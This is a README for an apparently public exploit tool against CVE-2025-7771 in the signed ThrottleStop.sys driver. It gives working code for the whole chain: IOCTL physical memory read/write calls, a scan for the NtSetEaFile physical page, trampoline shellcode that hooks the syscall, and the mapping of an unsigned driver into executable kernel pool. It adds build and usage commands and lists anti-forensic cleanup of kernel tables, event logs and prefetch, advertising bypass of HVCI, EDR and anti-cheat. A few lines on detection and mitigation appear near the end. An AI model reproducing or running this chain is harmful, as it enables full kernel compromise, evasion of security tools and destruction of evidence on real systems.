
Escalating privilege in the system from unsigned driver using throttlestop vulnerability
CVE-2025-7771 — Arbitrary Physical Memory Read/Write via ThrottleStop.sys IOCTLs
This project is published for educational and research purposes only. The goal is to demonstrate how a signed, trusted kernel driver can be weaponized for local privilege escalation (LPE) from Administrator to SYSTEM/Kernel, effectively bypassing modern Windows security features including HVCI (Hypervisor-Enforced Code Integrity) and Secure Boot.
Do not use this tool for malicious purposes. The author is not responsible for any misuse.
ThrottleStop.sys with physical memory mapping IOCTLsThe ThrottleStop.sys kernel driver exposes a device (\\.\ThrottleStop) accessible to any local Administrator. It implements two IOCTLs that provide unrestricted physical memory access:
#define IOCTL_TS_READ_PHYS 0x80006498 // Read arbitrary physical address
#define IOCTL_TS_WRITE_PHYS 0x8000649C // Write arbitrary physical address
0x80006498)Input: ULONG64 PhysicalAddress (8 bytes)
Output: Data buffer (1–8 bytes per call, determined by OutputBufferLength)
The driver calls MmMapIoSpace() to map the requested physical address into kernel virtual space, copies the data to the output buffer, then calls MmUnmapIoSpace(). No validation is performed on the physical address — any address in the physical address space can be read.
0x8000649C)Input: ULONG64 PhysicalAddress (8 bytes) + Data (1–8 bytes)
InputBufferLength = 8 + DataSize
Output: None
Same mechanism as read, but writes user-supplied data to the mapped physical address. Again, no address or range validation.
The driver was designed to allow ThrottleStop (a CPU undervolting/throttling utility) to directly read/write MSRs and hardware registers. The physical memory IOCTLs were likely added for MMIO access to PCI configuration space or CPU thermal sensors, but the implementation performs zero bounds checking:
GENERIC_READ | GENERIC_WRITE handle accessThis transforms a legitimate hardware utility driver into a full kernel-level read/write primitive.
The exploit chain escalates from a local Administrator account to arbitrary kernel code execution, effectively achieving SYSTEM-level ring-0 control.
The mapper drops ThrottleStop.sys to %TEMP%, creates a service registry entry under HKLM\SYSTEM\CurrentControlSet\Services\ThrottleStop, and loads it via NtLoadDriver():
// Enable SeLoadDriverPrivilege for the current process
driver::util::enable_privilege(L"SeLoadDriverPrivilege");
// Create service entry pointing to the dropped .sys file
driver::util::create_service_entry("\\??\\C:\\...\\ThrottleStop.sys", "ThrottleStop");
// Load via NtLoadDriver
NtLoadDriver(&driver_reg_path_unicode);
// Open device handle
CreateFileA("\\\\.\\ThrottleStop", GENERIC_READ | GENERIC_WRITE, ...);
Note: Since ThrottleStop.sys is legitimately signed, it loads even with HVCI/Secure Boot enabled. Windows CI policy trusts the certificate.
With the device handle, the exploit can read/write any physical address on the system:
// Read 8 bytes from physical address 0x1000
ULONGLONG phys_addr = 0x1000;
ULONGLONG data = 0;
DeviceIoControl(handle, 0x80006498, &phys_addr, 8, &data, 8, &returned, NULL);
// Write 8 bytes to physical address
UCHAR input[16];
*(ULONGLONG*)input = target_phys_addr; // address
*(ULONGLONG*)(input + 8) = shellcode_qword; // data
DeviceIoControl(handle, 0x8000649C, input, 16, NULL, 0, &returned, NULL);
The exploit wraps these into helper functions that handle chunked reads/writes (1, 2, 4, or 8 bytes per call) for arbitrary-length transfers.
To execute arbitrary kernel functions, the exploit needs to find the physical address of a kernel syscall handler. It targets NtSetEaFile (a rarely-monitored syscall):
ntoskrnl.exe in usermode via LoadLibraryEx(DONT_RESOLVE_DLL_REFERENCES), get the RVA of NtSetEaFileRVA & 0x1FFFFFHARDWARE\RESOURCEMAP\System Resources\Physical Memory), stride by 2MB, and compare bytes:for (phys_2mb = start; phys_2mb < range_end; phys_2mb += 0x200000)
{
candidate_pa = phys_2mb + offset_in_2mb;
read_phys(candidate_pa, &first8, 8);
if (first8 == pattern_first8) // quick check
{
read_phys(candidate_pa, verify, 32); // full verify
if (memcmp(verify, pattern, 32) == 0)
{
syscall_phys_addr = candidate_pa; // found it!
// ... validate via PsGetProcessSectionBaseAddress
}
}
}
PsGetProcessSectionBaseAddress(current_pid) and verify the returned base matches GetModuleHandle(NULL).Once the physical address of NtSetEaFile is known, the exploit installs a 12-byte trampoline directly via physical memory writes:
; Original NtSetEaFile bytes (saved for restoration)
; Replaced with:
mov rax, <target_kernel_address> ; 48 B8 <8-byte imm64>
push rax ; 50
ret ; C3
// Install hook
unsigned char jmp_code[12] = {
0x48, 0xB8, // mov rax, imm64
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, // <target address>
0x50, // push rax
0xC3 // ret
};
memcpy(jmp_code + 2, &target_function, 8);
write_phys(syscall_phys_addr, jmp_code, 12);
// Trigger from usermode
NtSetEaFile(args...); // → jumps to target_function in kernel!
// Restore original bytes
write_phys(syscall_phys_addr, saved_bytes, 12);
Key insight: Writing to the physical page bypasses HVCI's virtual memory protections. HVCI prevents
W+Xvirtual pages, but physical memory writes viaMmMapIoSpacein the driver go directly to RAM.
With the syscall hook primitive, the exploit can call any kernel function with arbitrary arguments:
// Allocate executable kernel memory (HVCI-compatible)
auto pool = syscall<ExAllocatePool2>(ExAllocatePool2_addr,
POOL_FLAG_NON_PAGED_EXECUTE, size, tag);
// Copy driver image to kernel pool via RtlCopyMemory
syscall<memcpy>(RtlCopyMemory_addr, pool, image_data, image_size);
// Call the driver's DriverEntry
syscall<DRIVER_INITIALIZE>(entry_point, pool_base, image_size);
This effectively maps and executes an unsigned driver in kernel space — complete privilege escalation.
After loading the payload, the exploit scrubs all traces:
HVCI (Hypervisor-Enforced Code Integrity) prevents unsigned code from executing in kernel space by enforcing W^X (Write XOR Execute) on kernel virtual pages through Second Level Address Translation (SLAT/EPT).
This exploit bypasses HVCI because:
Legitimate Driver: ThrottleStop.sys is properly signed and passes CI validation, so it loads normally even with HVCI active.
Physical over Virtual: The IOCTLs use MmMapIoSpace() which operates on physical addresses. HVCI's protections are enforced at the virtual page table level and via EPT, but MmMapIoSpace creates a new virtual mapping for the physical page with appropriate permissions. The write to the syscall's physical page modifies the RAM contents that the existing virtual mapping already points to.
Executable Pool: The exploit allocates memory via ExAllocatePool2 with POOL_FLAG_NON_PAGED_EXECUTE, which is a legitimate, HVCI-approved way to get executable kernel memory. The kernel itself uses this for JIT-compiled code and certain pool allocations.
No Unsigned Driver Loading: The mapper never calls NtLoadDriver with an unsigned image. Instead, it manually writes the payload into an already-executable kernel pool allocation and calls its entry point via the syscall hook.
┌─────────────────────────────────────────────┐
│ Usermode (Admin) │
│ │
│ 1. Load ThrottleStop.sys (signed, trusted) │
│ 2. Open \\.\ThrottleStop device │
│ 3. Read/Write physical memory via IOCTLs │
└──────────────┬──────────────────────────────┘
│ DeviceIoControl
▼
┌─────────────────────────────────────────────┐
│ ThrottleStop.sys (Kernel) │
│ │
│ MmMapIoSpace(PhysAddr) → memcpy → unmap │
│ No validation, any physical address OK │
└──────────────┬──────────────────────────────┘
│ Physical Memory Write
▼
┌─────────────────────────────────────────────┐
│ NtSetEaFile Physical Page │
│ │
│ Original bytes overwritten with: │
│ mov rax, <payload>; push rax; ret │
│ │
│ → Any usermode NtSetEaFile() call now │
│ executes arbitrary kernel code │
└──────────────┬──────────────────────────────┘
│ Kernel Code Execution
▼
┌─────────────────────────────────────────────┐
│ Full Kernel Compromise │
│ │
│ • ExAllocatePool2 (executable pool) │
│ • Map unsigned driver into kernel memory │
│ • Call DriverEntry → SYSTEM-level access │
│ • Scrub all forensic artifacts │
└─────────────────────────────────────────────┘
git clone https://github.com/<your-repo>/throttlestop-mapper.git
cd throttlestop-mapper
# Open imxyviMapper.sln in Visual Studio
# Build → x64 Release
# Basic usage — auto-scans physical memory for syscall page
mapper.exe payload_driver.sys
# With pre-computed kernel CR3 (faster, skips scan)
mapper.exe payload_driver.sys 1AD000
[+] Driver: 45056 bytes
[*] Parsing PE...
[+] PE OK: entry=0x3040 size=0xC000
[*] Loading vulnerable driver...
[+] Driver loaded, handle=0x0000000000000094
[+] IOCTL OK
[*] Finding syscall page...
[+] Syscall page found
[*] Fixing imports...
[*] Allocating executable kernel pool (49152 bytes)...
[+] Pool allocated at: FFFFA40B7C8E0000
[*] Writing driver to kernel...
[*] Calling entry point at 0xFFFFA40B7C8E3040...
[+] Entry point returned
[*] Cleaning MmUnloadedDrivers...
[+] MmUnloadedDrivers successfully scrubbed
[*] Unloading vulnerable driver...
[+] Done
ThrottleStop.sys hashes to the Microsoft Vulnerable Driver BlocklistMmMapIoSpace calls that target RAM-backed physical addresses from non-whitelisted driversrdmsr/wrmsr) instead of raw MmMapIoSpaceMmMapIoSpace to known MMIO ranges (PCI BAR regions, LAPIC, etc.)ThrottleStop.sys by hashThis project is released under the MIT License for educational research purposes. The underlying physmeme framework is © 2020 xerox (MIT License).
🔬 Responsible Disclosure: This vulnerability was discovered by Demoo1337 and disclosed to the vendor. This repository serves as documentation for the security research community.
| Field | Details |
|---|
| CVE | CVE-2025-7771 |
| Driver | ThrottleStop.sys (shipped with ThrottleStop) |
| Vendor | TechPowerUp / Kevin Glynn |
| Type | Arbitrary Physical Memory Read/Write |
| Impact | Local Privilege Escalation (Admin → Kernel) |
| CVSS | 8.2 (High) |
| Signature | Microsoft-signed via WHQL / Attestation |
| HVCI Bypass | ✅ Yes — driver is legitimately signed, allowed by CI policy |
| Artifact | Cleanup Method |
|---|
| PiDDB Cache | Unlocks PiDDBLock, finds entry in AVL tree via RtlLookupElementGenericTableAvl, unlinks and deletes |
| MmUnloadedDrivers | Scans the 50-entry circular buffer, zeros matching name and entry |
| BigPoolTable | Scans PoolBigPageTable for the allocation VA, zeros the entry |
| Pool Header | Spoofs the POOL_HEADER tag to MmSt (common system tag) |
| PE Headers | Zeros DOS/NT headers, import directory, debug directory, discardable sections in the kernel allocation |
| Registry | Deletes HKLM\...\Services\ThrottleStop key tree |
| Driver File | Deletes ThrottleStop.sys from %TEMP% |
| Event Logs | Clears relevant entries from System and Security logs |
| Prefetch / BAM | Cleans ShimCache, BAM (Background Activity Moderator), and Prefetch artifacts |
| Category | Impact |
|---|
| Confidentiality | 🔴 Total — read any kernel/process memory |
| Integrity | 🔴 Total — write to any kernel structure, hook any function |
| Availability | 🟡 High — improper writes cause BSOD |
| Authentication Bypass | 🔴 SYSTEM access from Admin |
| Anti-Cheat Bypass | 🔴 Bypasses kernel-level anti-cheat (EAC, BattlEye, Vanguard) |
| EDR Bypass | 🔴 Runs below EDR hooks, can unhook/disable security tools |
| HVCI | 🔴 Bypassed via legitimate signed driver |
| Secure Boot | 🔴 Bypassed (driver has valid signature) |
| Who | Contribution |
|---|
| Demoo1337 | Original discovery and documentation of CVE-2025-7771. Reverse-engineered the ThrottleStop.sys IOCTL handlers, identified the MmMapIoSpace physical memory vulnerability, and published the initial proof-of-concept exploit. This project would not exist without his research. |
| xerox / IDontCode | Author of the physmeme framework used as the base for the kernel mapper, syscall hooking, and forensic cleanup logic. |
| TheCruZ | Author of kdmapper, whose techniques for PiDDB cache cleaning and driver mapping informed this implementation. |